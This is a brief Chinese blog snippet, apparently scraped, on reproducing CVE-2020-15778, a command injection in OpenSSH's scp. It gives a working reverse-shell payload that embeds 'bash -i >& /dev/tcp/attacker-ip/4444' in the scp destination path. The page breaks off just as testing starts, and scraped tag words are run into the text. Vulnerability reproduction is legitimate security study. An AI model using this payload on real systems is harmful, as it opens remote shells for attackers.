CVE-2020-15778漏洞復現

時間 2020-10-25

標籤 git github shell bash ssh tcp 測試 code blog 欄目 Git 简体版

原文原文鏈接

產品：Openssh 影響的組件：SCP 漏洞版本：<= openssh-8.3p1 scp命令引起的命令注入git 反彈shell的payloadgithub scp 1.txt cracer@受害機ip:'`bash -i >& /dev/tcp/攻擊機ip/4444 0>&1`/tmp/test.txt' 實戰測試，這裏使用本機進行測試shell 一、查看ssh版本，符合漏洞版本bash

>>阅读原文<<